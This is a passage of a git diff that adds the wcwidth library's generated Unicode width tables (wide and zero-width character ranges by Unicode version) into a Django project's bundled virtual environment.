..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312f,), # Bopomofo Letter B ..Bopomofo Letter Nn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031e3,), # Ideographic Annotation L..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x04dbf,), # Partnership Sign ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe4,), # Tangut Iteration Mark ..(nil) + (0x16ff0, 0x16ff1,), # (nil) ..(nil) + (0x17000, 0x187f7,), # (nil) ..(nil) + (0x18800, 0x18cd5,), # Tangut Component-001 ..(nil) + (0x18d00, 0x18d08,), # (nil) ..(nil) + (0x1b000, 0x1b11e,), # Katakana Letter Archaic ..Hentaigana Letter N-mu-m + (0x1b150, 0x1b152,), # Hiragana Letter Small Wi..Hiragana Letter Small Wo + (0x1b164, 0x1b167,), # Katakana Letter Small Wi..Katakana Letter Small N + (0x1b170, 0x1b2fb,), # Nushu Character-1b170 ..Nushu Character-1b2fb + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f260, 0x1f265,), # Rounded Symbol For Fu ..Rounded Symbol For Cai + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6d5, 0x1f6d7,), # Hindu Temple ..(nil) + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6fc,), # Scooter ..(nil) + (0x1f7e0, 0x1f7eb,), # Large Orange Circle ..Large Brown Square + (0x1f90c, 0x1f93a,), # (nil) ..Fencer + (0x1f93c, 0x1f945,), # Wrestlers ..Goal Net + (0x1f947, 0x1f978,), # First Place Medal ..(nil) + (0x1f97a, 0x1f9cb,), # Face With Pleading Eyes ..(nil) + (0x1f9cd, 0x1f9ff,), # Standing Person ..Nazar Amulet + (0x1fa70, 0x1fa74,), # Ballet Shoes ..(nil) + (0x1fa78, 0x1fa7a,), # Drop Of Blood ..Stethoscope + (0x1fa80, 0x1fa86,), # Yo-yo ..(nil) + (0x1fa90, 0x1faa8,), # Ringed Planet ..(nil) + (0x1fab0, 0x1fab6,), # (nil) ..(nil) + (0x1fac0, 0x1fac2,), # (nil) ..(nil) + (0x1fad0, 0x1fad6,), # (nil) ..(nil) + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), +} diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth/table_zero.py b/django_lottopy/lib/python3.10/site-packages/wcwidth/table_zero.py new file mode 100644 index 00000000..ab5150f5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth/table_zero.py @@ -0,0 +1,3910 @@ +"""Zero_Width table, created by bin/update-tables.py.""" +# Generated: 2020-06-23T16:03:21.187024 +ZERO_WIDTH = { + '4.1.0': ( + # Source: DerivedGeneralCategory-4.1.0.txt + # Date: 2005-02-26, 02:35:50 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00486,), # Combining Cyrillic Titlo..Combining Cyrillic Psili + (0x00488, 0x00489,), # Combining Cyrillic Hundr..Combining Cyrillic Milli + (0x00591, 0x005b9,), # Hebrew Accent Etnahta ..Hebrew Point Holam + (0x005bb, 0x005bd,), # Hebrew Point Qubuts ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x00615,), # Arabic Sign Sallallahou ..Arabic Small High Tah + (0x0064b, 0x0065e,), # Arabic Fathatan ..Arabic Fatha With Two Do + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006de, 0x006e4,), # Arabic Start Of Rub El H..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x00901, 0x00902,), # Devanagari Sign Candrabi..Devanagari Sign Anusvara + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00954,), # Devanagari Stress Sign U..Devanagari Acute Accent + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b43,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00d41, 0x00d43,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f90, 0x00f97,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01032,), # Myanmar Vowel Sign Ai ..Myanmar Vowel Sign Ai + (0x01036, 0x01037,), # Myanmar Sign Anusvara ..Myanmar Sign Dot Below + (0x01039, 0x01039,), # Myanmar Sign Virama ..Myanmar Sign Virama + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0135f, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01dc0, 0x01dc3,), # Combining Dotted Grave A..Combining Suspension Mar + (0x020d0, 0x020eb,), # Combining Left Harpoon A..Combining Long Double So + (0x0302a, 0x0302f,), # Ideographic Level Tone M..Hangul Double Dot Tone M + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe23,), # Combining Ligature Left ..Combining Double Tilde R + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '5.0.0': ( + # Source: DerivedGeneralCategory-5.0.0.txt + # Date: 2006-02-27, 23:41:27 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00486,), # Combining Cyrillic Titlo..Combining Cyrillic Psili + (0x00488, 0x00489,), # Combining Cyrillic Hundr..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x00615,), # Arabic Sign Sallallahou ..Arabic Small High Tah + (0x0064b, 0x0065e,), # Arabic Fathatan ..Arabic Fatha With Two Do + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006de, 0x006e4,), # Arabic Start Of Rub El H..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00901, 0x00902,), # Devanagari Sign Candrabi..Devanagari Sign Anusvara + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00954,), # Devanagari Stress Sign U..Devanagari Acute Accent + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b43,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d43,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f90, 0x00f97,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01032,), # Myanmar Vowel Sign Ai ..Myanmar Vowel Sign Ai + (0x01036, 0x01037,), # Myanmar Sign Anusvara ..Myanmar Sign Dot Below + (0x01039, 0x01039,), # Myanmar Sign Virama ..Myanmar Sign Virama + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0135f, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01dc0, 0x01dca,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfe, 0x01dff,), # Combining Left Arrowhead..Combining Right Arrowhea + (0x020d0, 0x020ef,), # Combining Left Harpoon A..Combining Right Arrow Be + (0x0302a, 0x0302f,), # Ideographic Level Tone M..Hangul Double Dot Tone M + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe23,), # Combining Ligature Left ..Combining Double Tilde R + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '5.1.0': ( + # Source: DerivedGeneralCategory-5.1.0.txt + # Date: 2008-03-20, 17:54:57 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065e,), # Arabic Fathatan ..Arabic Fatha With Two Do + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006de, 0x006e4,), # Arabic Start Of Rub El H..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh 